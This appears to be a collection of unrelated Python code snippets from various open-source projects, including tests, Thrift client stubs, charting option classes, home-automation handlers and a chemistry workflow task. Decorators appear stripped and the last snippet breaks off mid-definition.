h5_base = xmf_base
mesh_info = readMeshXdmf(xmf_base, h5_base, verbose=0)
assert (mesh_info.nElements_global == 27)
assert (mesh_info.nNodes_global == 64)
assert (mesh_info.nElements_global == mesh_info.nElements_owned)
assert (mesh_info.nNodes_global == mesh_info.nNodes_owned)
assert (mesh_info.nodeArray.shape == (mesh_info.nNodes_owned, 3))
assert (mesh_info.elementNodesArray.shape == (mesh_info.nElements_owned, 8))
assert (mesh_info.elementTopologyName == 'Hexahedron')
assert (len(mesh_info.nodeMaterialTypes) == mesh_info.nNodes_owned)
assert (len(mesh_info.elementMaterialTypes) == mesh_info.nElements_owned) |
.compilertest
def test_irauth_grpcservice_version_v2():
yaml = '\n---\napiVersion: getambassador.io/v3alpha1\nkind: AuthService\nmetadata:\n name: mycoolauthservice\n namespace: default\nspec:\n auth_service: someservice\n protocol_version: "v2"\n proto: grpc\n'
econf = _get_envoy_config(yaml)
conf = econf.as_dict()
ext_auth_config = _get_ext_auth_config(conf)
assert (ext_auth_config == False)
errors = econf.ir.aconf.errors['mycoolauthservice.default.1']
assert (errors[0]['error'] == 'AuthService: protocol_version v2 is unsupported, protocol_version must be "v3"') |
def ExtractAll(zip_path, path=None, no_clobber=True, pattern=None):
if (path is None):
path = os.getcwd()
elif (not os.path.exists(path)):
MakeDirectory(path)
with zipfile.ZipFile(zip_path) as z:
for name in z.namelist():
if name.endswith('/'):
continue
if (pattern is not None):
if (not fnmatch.fnmatch(name, pattern)):
continue
CheckZipPath(name)
if no_clobber:
output_path = os.path.join(path, name)
if os.path.exists(output_path):
raise Exception(('Path already exists from zip: %s %s %s' % (zip_path, name, output_path)))
z.extractall(path=path) |
class TimerClass(threading.Thread):
def __init__(self, interval: int, callback: Callable[(..., Any)], *args: Any) -> None:
threading.Thread.__init__(self)
self.callback = callback
self.terminate_event = threading.Event()
self.interval = interval
self.args = args
def run(self) -> None:
while (not self.terminate_event.is_set()):
self.callback(*self.args)
self.terminate_event.wait(self.interval)
def stop(self) -> None:
self.terminate_event.set() |
class TestLoadAll():
def test_multi_document_load(self, tmpdir):
from srsly.ruamel_yaml import YAML
fn = (Path(str(tmpdir)) / 'test.yaml')
fn.write_text(textwrap.dedent(u' ---\n - a\n ---\n - b\n ...\n '))
yaml = YAML()
assert (list(yaml.load_all(fn)) == [['a'], ['b']]) |
class ConfigBlock():
__name__ = 'ConfigBlock'
def __init__(self, **kwargs):
self.tree = Tree(self.__name__, [])
self.init_kwargs(**kwargs)
def init_kwargs(self, **kwargs):
for (option, value) in kwargs.items():
func = getattr(self, option, None)
if callable(func):
func(option, value)
elif isinstance(value, ConfigBlock):
self.set_config_block(option, value)
else:
self.set_option(option, value)
def set_config_block(self, option, config_block):
self.tree.children.append(Tree(option, config_block.tree.children))
def set_non_empty_config_block(self, option, config_block):
if config_block.tree.children:
self.set_config_block(option, config_block)
def set_option(self, option, value):
value = value_to_string(value)
self.tree.children.append(Tree(option, [Tree('string', [Token('STRING', value)])]))
def _pair(self, option, value):
for (a, b) in value:
a = value_to_string(a)
b = value_to_string(b)
self.tree.children.append(Tree(option, [Tree('string', [Token('STRING', a)]), Tree('string', [Token('STRING', b)])]))
def _enable(self, option, value):
self.tree.children.append(Tree(option, []))
def _header(self, option, value):
for (header_name, header_val) in value:
header_name = value_to_string(header_name)
header_val = value_to_string(header_val)
self.tree.children.append(Tree('header', [Tree('string', [Token('STRING', header_name)]), Tree('string', [Token('STRING', header_val)])]))
def _parameter(self, option, value):
for (param, val) in value:
param = value_to_string(param)
val = value_to_string(val)
self.tree.children.append(Tree('parameter', [Tree('string', [Token('STRING', param)]), Tree('string', [Token('STRING', val)])])) |
def format_logs(formatter: Optional[logging.Formatter]=None, theme_color: Optional[str]=None) -> None:
if formatter:
console_hdlr.setFormatter(formatter)
elif isatty:
from colorlog import ColoredFormatter
(log_format, colors_dict) = get_log_colors(theme_color)
color_formatter = ColoredFormatter(('%(asctime)s %(log_color)s%(levelname)-8s%(reset)s ' + log_format), datefmt='%H:%M:%S', reset=True, log_colors=colors_dict)
console_hdlr.setFormatter(color_formatter)
else:
console_hdlr.setFormatter(logging.Formatter('%(asctime)s %(levelname)-8s %(name)-25s %(message)s'))
root_logger.addHandler(console_hdlr) |
def register(registry):
_IndexedNotebookEditor.register(registry)
registry.register_location(target_class=CustomEditor, locator_class=Index, solver=(lambda wrapper, location: _get_next_target(wrapper._target, location.index)))
registry.register_location(target_class=SimpleEditor, locator_class=Index, solver=(lambda wrapper, location: _get_next_target(wrapper._target, location.index))) |
def _validate_pipeline_definition(pipeline_definition: PipelineDefinition):
click.echo('Validating pipeline...')
validation_response = asyncio.get_event_loop().run_until_complete(PipelineValidationManager.instance().validate(pipeline=pipeline_definition))
issues = validation_response.to_json().get('issues')
_print_issues(issues)
if validation_response.has_fatal:
raise click.ClickException('Unable to continue due to pipeline validation issues.') |
class ButtonClicked(hass.Hass):
def initialize(self):
self.listen_event_handle_list = []
self.timer_handle_list = []
self.actor_single = self.args.get('actor_single')
self.actor_double = self.args.get('actor_double')
self.actor_hold = self.args.get('actor_hold')
self.dimmer_timer_handle = None
self.listen_event_handle_list.append(self.listen_event(self.event_detected, 'xiaomi_aqara.click'))
def event_detected(self, event_name, data, kwargs):
if (data['entity_id'] == self.args['sensor']):
if ((data['click_type'] == 'single') and (self.actor_single != None)):
self.log('ButtonClicked: {}'.format(data['entity_id']))
if (self.get_state(self.actor_single) == 'on'):
self.log('Turning {} off'.format(self.actor_single))
if self.actor_single.startswith('light'):
self.call_service('light/turn_on', entity_id=self.actor_single, transition=1, brightness_pct=1)
self.timer_handle_list.append(self.run_in(self.turn_off_workaround, 2))
else:
self.turn_off(self.actor_single)
if (self.get_state(self.actor_single) == 'off'):
self.log('Turning {} on'.format(self.actor_single))
if self.actor_single.startswith('light'):
self.call_service('light/turn_on', entity_id=self.actor_single, transition=1, brightness_pct=100)
else:
self.turn_on(self.actor_single)
if ((data['click_type'] == 'double') and (self.actor_double != None)):
self.log('Double Button Click: {}'.format(data['entity_id']))
self.log('Toggling {}'.format(self.actor_double))
if (self.get_state(self.actor_double) == 'on'):
if self.actor_single.startswith('light'):
self.call_service('light/turn_on', entity_id=self.actor_single, transition=1, brightness_pct=1)
self.timer_handle_list.append(self.run_in(self.turn_off_workaround, 2))
else:
self.turn_off(self.actor_single)
if (self.get_state(self.actor_double) == 'off'):
self.log('Turning {} on'.format(self.actor_single))
if self.actor_single.startswith('light'):
self.call_service('light/turn_on', entity_id=self.actor_single, transition=1, brightness_pct=100)
else:
self.turn_on(self.actor_single)
if ((data['click_type'] == 'long_click_press') and (self.actor_hold != None)):
self.log('Long Button Click: {}'.format(data['entity_id']))
self.log('Starting Dimmer')
self.dimmer_timer_handle = self.run_every(self.dimmer_callback, datetime.datetime.now(), 0.5, entity_id=self.actor_hold)
self.timer_handle_list.append(self.dimmer_timer_handle)
if ((data['click_type'] == 'hold') and (self.actor_hold != None)):
self.log('Button Release: {}'.format(data['entity_id']))
self.log('Stopping Dimmer')
if (self.dimmer_timer_handle != None):
self.cancel_timer(self.dimmer_timer_handle)
def dimmer_callback(self, kwargs):
brightness_pct_old = (int(self.get_state(self.actor_hold, attribute='all')['attributes']['brightness']) / 255)
brightness_pct_new = (brightness_pct_old + 0.1)
if (brightness_pct_new > 1):
brightness_pct_new = 0.1
self.call_service('light/turn_on', entity_id=kwargs['entity_id'], brightness_pct=(brightness_pct_new * 100))
def turn_off_workaround(self, *kwargs):
self.call_service('light/turn_off', entity_id=self.actor_single)
def terminate(self):
for listen_event_handle in self.listen_event_handle_list:
self.cancel_listen_event(listen_event_handle)
for timer_handle in self.timer_handle_list:
self.cancel_timer(timer_handle) |
class OptionSeriesScatterSonificationDefaultinstrumentoptionsMappingHighpassFrequency(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: str):
self._config(text, js_type=False)
def max(self):
return self._config_get(None)
def max(self, num: float):
self._config(num, js_type=False)
def min(self):
return self._config_get(None)
def min(self, num: float):
self._config(num, js_type=False)
def within(self):
return self._config_get(None)
def within(self, value: Any):
self._config(value, js_type=False) |
class TracerManager():
def __init__(self) -> None:
self._system_app: Optional[SystemApp] = None
self._trace_context_var: ContextVar[TracerContext] = ContextVar('trace_context', default=TracerContext())
def initialize(self, system_app: SystemApp, trace_context_var: ContextVar[TracerContext]=None) -> None:
self._system_app = system_app
if trace_context_var:
self._trace_context_var = trace_context_var
def _get_tracer(self) -> Tracer:
if (not self._system_app):
return None
return self._system_app.get_component(ComponentType.TRACER, Tracer, None)
def start_span(self, operation_name: str, parent_span_id: str=None, span_type: SpanType=None, metadata: Dict=None) -> Span:
tracer = self._get_tracer()
if (not tracer):
return Span('empty_span', 'empty_span')
if (not parent_span_id):
parent_span_id = self.get_current_span_id()
return tracer.start_span(operation_name, parent_span_id, span_type=span_type, metadata=metadata)
def end_span(self, span: Span, **kwargs):
tracer = self._get_tracer()
if ((not tracer) or (not span)):
return
tracer.end_span(span, **kwargs)
def get_current_span(self) -> Optional[Span]:
tracer = self._get_tracer()
if (not tracer):
return None
return tracer.get_current_span()
def get_current_span_id(self) -> Optional[str]:
current_span = self.get_current_span()
if current_span:
return current_span.span_id
ctx = self._trace_context_var.get()
return (ctx.span_id if ctx else None) |
class LoggingGcsResponse(ModelComposed):
allowed_values = {('placement',): {'None': None, 'NONE': 'none', 'WAF_DEBUG': 'waf_debug', 'NULL': 'null'}, ('format_version',): {'v1': '1', 'v2': '2'}, ('message_type',): {'CLASSIC': 'classic', 'LOGGLY': 'loggly', 'LOGPLEX': 'logplex', 'BLANK': 'blank'}, ('compression_codec',): {'ZSTD': 'zstd', 'SNAPPY': 'snappy', 'GZIP': 'gzip'}}
validations = {}
_property
def additional_properties_type():
lazy_import()
return (bool, date, datetime, dict, float, int, list, str, none_type)
_nullable = False
_property
def openapi_types():
lazy_import()
return {'name': (str,), 'placement': (str, none_type), 'response_condition': (str, none_type), 'format': (str,), 'format_version': (str,), 'message_type': (str,), 'timestamp_format': (str, none_type), 'compression_codec': (str,), 'period': (str,), 'gzip_level': (str,), 'user': (str,), 'secret_key': (str,), 'account_name': (str,), 'created_at': (datetime, none_type), 'deleted_at': (datetime, none_type), 'updated_at': (datetime, none_type), 'service_id': (str,), 'version': (str,), 'bucket_name': (str,), 'path': (str,), 'public_key': (str, none_type), 'project_id': (str,)}
_property
def discriminator():
return None
attribute_map = {'name': 'name', 'placement': 'placement', 'response_condition': 'response_condition', 'format': 'format', 'format_version': 'format_version', 'message_type': 'message_type', 'timestamp_format': 'timestamp_format', 'compression_codec': 'compression_codec', 'period': 'period', 'gzip_level': 'gzip_level', 'user': 'user', 'secret_key': 'secret_key', 'account_name': 'account_name', 'created_at': 'created_at', 'deleted_at': 'deleted_at', 'updated_at': 'updated_at', 'service_id': 'service_id', 'version': 'version', 'bucket_name': 'bucket_name', 'path': 'path', 'public_key': 'public_key', 'project_id': 'project_id'}
read_only_vars = {'timestamp_format', 'created_at', 'deleted_at', 'updated_at', 'service_id', 'version'}
_js_args_to_python_args
def _from_openapi_data(cls, *args, **kwargs):
_check_type = kwargs.pop('_check_type', True)
_spec_property_naming = kwargs.pop('_spec_property_naming', False)
_path_to_item = kwargs.pop('_path_to_item', ())
_configuration = kwargs.pop('_configuration', None)
_visited_composed_classes = kwargs.pop('_visited_composed_classes', ())
self = super(OpenApiModel, cls).__new__(cls)
if args:
raise ApiTypeError(('Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments.' % (args, self.__class__.__name__)), path_to_item=_path_to_item, valid_classes=(self.__class__,))
self._data_store = {}
self._check_type = _check_type
self._spec_property_naming = _spec_property_naming
self._path_to_item = _path_to_item
self._configuration = _configuration
self._visited_composed_classes = (_visited_composed_classes + (self.__class__,))
constant_args = {'_check_type': _check_type, '_path_to_item': _path_to_item, '_spec_property_naming': _spec_property_naming, '_configuration': _configuration, '_visited_composed_classes': self._visited_composed_classes}
composed_info = validate_get_composed_info(constant_args, kwargs, self)
self._composed_instances = composed_info[0]
self._var_name_to_model_instances = composed_info[1]
self._additional_properties_model_instances = composed_info[2]
discarded_args = composed_info[3]
for (var_name, var_value) in kwargs.items():
if ((var_name in discarded_args) and (self._configuration is not None) and self._configuration.discard_unknown_keys and self._additional_properties_model_instances):
continue
setattr(self, var_name, var_value)
return self
required_properties = set(['_data_store', '_check_type', '_spec_property_naming', '_path_to_item', '_configuration', '_visited_composed_classes', '_composed_instances', '_var_name_to_model_instances', '_additional_properties_model_instances'])
_js_args_to_python_args
def __init__(self, *args, **kwargs):
_check_type = kwargs.pop('_check_type', True)
_spec_property_naming = kwargs.pop('_spec_property_naming', False)
_path_to_item = kwargs.pop('_path_to_item', ())
_configuration = kwargs.pop('_configuration', None)
_visited_composed_classes = kwargs.pop('_visited_composed_classes', ())
if args:
raise ApiTypeError(('Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments.' % (args, self.__class__.__name__)), path_to_item=_path_to_item, valid_classes=(self.__class__,))
self._data_store = {}
self._check_type = _check_type
self._spec_property_naming = _spec_property_naming
self._path_to_item = _path_to_item
self._configuration = _configuration
self._visited_composed_classes = (_visited_composed_classes + (self.__class__,))
constant_args = {'_check_type': _check_type, '_path_to_item': _path_to_item, '_spec_property_naming': _spec_property_naming, '_configuration': _configuration, '_visited_composed_classes': self._visited_composed_classes}
composed_info = validate_get_composed_info(constant_args, kwargs, self)
self._composed_instances = composed_info[0]
self._var_name_to_model_instances = composed_info[1]
self._additional_properties_model_instances = composed_info[2]
discarded_args = composed_info[3]
for (var_name, var_value) in kwargs.items():
if ((var_name in discarded_args) and (self._configuration is not None) and self._configuration.discard_unknown_keys and self._additional_properties_model_instances):
continue
setattr(self, var_name, var_value)
if (var_name in self.read_only_vars):
raise ApiAttributeError(f'`{var_name}` is a read-only attribute. Use `from_openapi_data` to instantiate class with read only attributes.')
_property
def _composed_schemas():
lazy_import()
return {'anyOf': [], 'allOf': [LoggingCommonResponse, LoggingGcsAdditional, LoggingGcsCommon, LoggingGenericCommonResponse, ServiceIdAndVersionString, Timestamps], 'oneOf': []} |
class OptionPlotoptionsDumbbellSonificationContexttracks(Options):
def activeWhen(self) -> 'OptionPlotoptionsDumbbellSonificationContexttracksActivewhen':
return self._config_sub_data('activeWhen', OptionPlotoptionsDumbbellSonificationContexttracksActivewhen)
def instrument(self):
return self._config_get('piano')
def instrument(self, text: str):
self._config(text, js_type=False)
def mapping(self) -> 'OptionPlotoptionsDumbbellSonificationContexttracksMapping':
return self._config_sub_data('mapping', OptionPlotoptionsDumbbellSonificationContexttracksMapping)
def midiName(self):
return self._config_get(None)
def midiName(self, text: str):
self._config(text, js_type=False)
def pointGrouping(self) -> 'OptionPlotoptionsDumbbellSonificationContexttracksPointgrouping':
return self._config_sub_data('pointGrouping', OptionPlotoptionsDumbbellSonificationContexttracksPointgrouping)
def roundToMusicalNotes(self):
return self._config_get(True)
def roundToMusicalNotes(self, flag: bool):
self._config(flag, js_type=False)
def showPlayMarker(self):
return self._config_get(True)
def showPlayMarker(self, flag: bool):
self._config(flag, js_type=False)
def timeInterval(self):
return self._config_get(None)
def timeInterval(self, num: float):
self._config(num, js_type=False)
def type(self):
return self._config_get('instrument')
def type(self, text: str):
self._config(text, js_type=False)
def valueInterval(self):
return self._config_get(None)
def valueInterval(self, num: float):
self._config(num, js_type=False)
def valueMapFunction(self):
return self._config_get('linear')
def valueMapFunction(self, value: Any):
self._config(value, js_type=False)
def valueProp(self):
return self._config_get('"x"')
def valueProp(self, text: str):
self._config(text, js_type=False) |
def schema_print(schema_location, prefix):
prefix = prefix.upper()
json = ovs.json.from_file(schema_location)
schema = ovs.db.schema.DbSchema.from_json(json)
print('# Do NOT edit.')
print(('# This is automatically generated by %s' % __file__))
print(('# created based on version %s' % (schema.version or 'unknown')))
print('')
print('')
print(("%s_DB_NAME = '%s'" % (prefix, schema.name)))
for table in sorted(schema.tables.values(), key=operator.attrgetter('name')):
print('')
print(("%s_TABLE_%s = '%s'" % (prefix, table.name.upper(), table.name)))
for column in sorted(table.columns.values(), key=operator.attrgetter('name')):
print(("%s_%s_COL_%s = '%s'" % (prefix, table.name.upper(), column.name.upper(), column.name))) |
class Client(Iface):
def __init__(self, oprot, loop=None):
self._oprot = oprot
self._loop = (loop or asyncio.get_event_loop())
self._seqid = 0
self._futures = {}
def getName(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_getName()
return fut
def send_getName(self):
self._oprot.writeMessageBegin('getName', TMessageType.CALL, self._seqid)
args = getName_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_getName(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = getName_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'getName failed: unknown result'))
return
def getVersion(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_getVersion()
return fut
def send_getVersion(self):
self._oprot.writeMessageBegin('getVersion', TMessageType.CALL, self._seqid)
args = getVersion_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_getVersion(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = getVersion_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'getVersion failed: unknown result'))
return
def getStatus(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_getStatus()
return fut
def send_getStatus(self):
self._oprot.writeMessageBegin('getStatus', TMessageType.CALL, self._seqid)
args = getStatus_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_getStatus(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = getStatus_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'getStatus failed: unknown result'))
return
def getStatusDetails(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_getStatusDetails()
return fut
def send_getStatusDetails(self):
self._oprot.writeMessageBegin('getStatusDetails', TMessageType.CALL, self._seqid)
args = getStatusDetails_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_getStatusDetails(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = getStatusDetails_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'getStatusDetails failed: unknown result'))
return
def getCounters(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_getCounters()
return fut
def send_getCounters(self):
self._oprot.writeMessageBegin('getCounters', TMessageType.CALL, self._seqid)
args = getCounters_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_getCounters(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = getCounters_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'getCounters failed: unknown result'))
return
def getCounter(self, key=None):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_getCounter(key)
return fut
def send_getCounter(self, key=None):
self._oprot.writeMessageBegin('getCounter', TMessageType.CALL, self._seqid)
args = getCounter_args()
args.key = key
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_getCounter(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = getCounter_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'getCounter failed: unknown result'))
return
def setOption(self, key=None, value=None):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_setOption(key, value)
return fut
def send_setOption(self, key=None, value=None):
self._oprot.writeMessageBegin('setOption', TMessageType.CALL, self._seqid)
args = setOption_args()
args.key = key
args.value = value
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_setOption(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = setOption_result()
result.read(iprot)
iprot.readMessageEnd()
fut.set_result(None)
return
def getOption(self, key=None):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_getOption(key)
return fut
def send_getOption(self, key=None):
self._oprot.writeMessageBegin('getOption', TMessageType.CALL, self._seqid)
args = getOption_args()
args.key = key
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_getOption(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = getOption_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'getOption failed: unknown result'))
return
def getOptions(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_getOptions()
return fut
def send_getOptions(self):
self._oprot.writeMessageBegin('getOptions', TMessageType.CALL, self._seqid)
args = getOptions_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_getOptions(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = getOptions_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'getOptions failed: unknown result'))
return
def getCpuProfile(self, profileDurationInSec=None):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_getCpuProfile(profileDurationInSec)
return fut
def send_getCpuProfile(self, profileDurationInSec=None):
self._oprot.writeMessageBegin('getCpuProfile', TMessageType.CALL, self._seqid)
args = getCpuProfile_args()
args.profileDurationInSec = profileDurationInSec
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_getCpuProfile(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = getCpuProfile_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'getCpuProfile failed: unknown result'))
return
def aliveSince(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_aliveSince()
return fut
def send_aliveSince(self):
self._oprot.writeMessageBegin('aliveSince', TMessageType.CALL, self._seqid)
args = aliveSince_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_aliveSince(self, iprot, mtype, rseqid):
try:
fut = self._futures.pop(rseqid)
except KeyError:
return
if (mtype == TMessageType.EXCEPTION):
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
fut.set_exception(x)
return
result = aliveSince_result()
result.read(iprot)
iprot.readMessageEnd()
if (result.success != None):
fut.set_result(result.success)
return
fut.set_exception(TApplicationException(TApplicationException.MISSING_RESULT, 'aliveSince failed: unknown result'))
return
def reinitialize(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_reinitialize()
fut.set_result(None)
return fut
def send_reinitialize(self):
self._oprot.writeMessageBegin('reinitialize', TMessageType.CALL, self._seqid)
args = reinitialize_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.onewayFlush()
def shutdown(self):
self._seqid += 1
fut = self._futures[self._seqid] = asyncio.Future(loop=self._loop)
self.send_shutdown()
fut.set_result(None)
return fut
def send_shutdown(self):
self._oprot.writeMessageBegin('shutdown', TMessageType.CALL, self._seqid)
args = shutdown_args()
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.onewayFlush() |
def extractWwwHuntresstranslationsXyz(item):
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
tagmap = [("Male Lead You're Overpowered", "Quick Transmigration: Male Lead, You're Overpowered?", 'translated'), ('MLYO', "Quick Transmigration: Male Lead, You're Overpowered?", 'translated'), ('PRC', 'PRC', 'translated'), ('Loiterous', 'Loiterous', 'oel')]
for (tagname, name, tl_type) in tagmap:
if (tagname in item['tags']):
return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
return False |
(accept=('application/json', 'text/json'), renderer='json', error_handler=bodhi.server.services.errors.json_handler)
(accept='application/javascript', renderer='jsonp', error_handler=bodhi.server.services.errors.jsonp_handler)
(accept='text/html', renderer='update.html', error_handler=bodhi.server.services.errors.html_handler)
def get_update(request):
proxy_request_edit = bodhi.server.security.ProtectedRequest(request)
proxy_request_ci = bodhi.server.security.ProtectedRequest(request)
validate_acls(proxy_request_edit)
can_edit = (len(proxy_request_edit.errors) == 0)
validate_qa_acls(proxy_request_ci)
ci_allowed = (len(proxy_request_ci.errors) == 0)
return dict(update=request.validated['update'], can_edit=can_edit, ci_allowed=ci_allowed) |
class DataPrinter(BaseTool):
visible = False
draw_mode = 'none'
format = Str('(%.3f, %.3f)')
def normal_mouse_move(self, event):
plot = self.component
if (plot is not None):
if isinstance(plot, BaseXYPlot):
text = self._build_text_from_event(event)
print(text)
else:
msg = "dataprinter: don't know how to handle plots of type {}"
print(msg.format(plot.__class__.__name__))
def _build_text_from_event(self, event):
plot = self.component
ndx = plot.map_index((event.x, event.y), index_only=True)
x = plot.index.get_data()[ndx]
y = plot.value.get_data()[ndx]
return (self.format % (x, y)) |
class OptionPlotoptionsLollipopSonificationDefaultinstrumentoptionsMappingTremolo(Options):
def depth(self) -> 'OptionPlotoptionsLollipopSonificationDefaultinstrumentoptionsMappingTremoloDepth':
return self._config_sub_data('depth', OptionPlotoptionsLollipopSonificationDefaultinstrumentoptionsMappingTremoloDepth)
def speed(self) -> 'OptionPlotoptionsLollipopSonificationDefaultinstrumentoptionsMappingTremoloSpeed':
return self._config_sub_data('speed', OptionPlotoptionsLollipopSonificationDefaultinstrumentoptionsMappingTremoloSpeed) |
class IRC(Params, luigi.Task):
def output(self):
return (luigi.LocalTarget(self.get_path('irc_first.xyz')), luigi.LocalTarget(self.get_path('irc_last.xyz')))
def requires(self):
return TSOpt(self.id_, self.base, self.step)
def run(self):
(ts_xyz, ts_hess) = self.input()
geom = geom_loader(ts_xyz.path)
geom.set_calculator(self.get_calc())
with tempfile.TemporaryDirectory() as tmp_dir:
irc = EulerPC(geom, out_dir=tmp_dir, hessian_init=ts_hess.path, hessian_recalc=10, rms_grad_thresh=0.0005)
irc.run()
self.backup_from_dir(tmp_dir, 'finished_irc.trj')
first_geom = geom.copy()
first_geom.coords = irc.all_coords[0]
last_geom = geom.copy()
last_geom.coords = irc.all_coords[(- 1)]
for (geom_, target) in zip((first_geom, last_geom), self.output()):
with target.open('w') as handle:
handle.write(geom_.as_xyz()) |
class CoverArtEntryView(BaseView):
__hash__ = GObject.__hash__
def __init__(self, shell, source):
super(CoverArtEntryView, self).__init__(shell, source)
def display_columns(self):
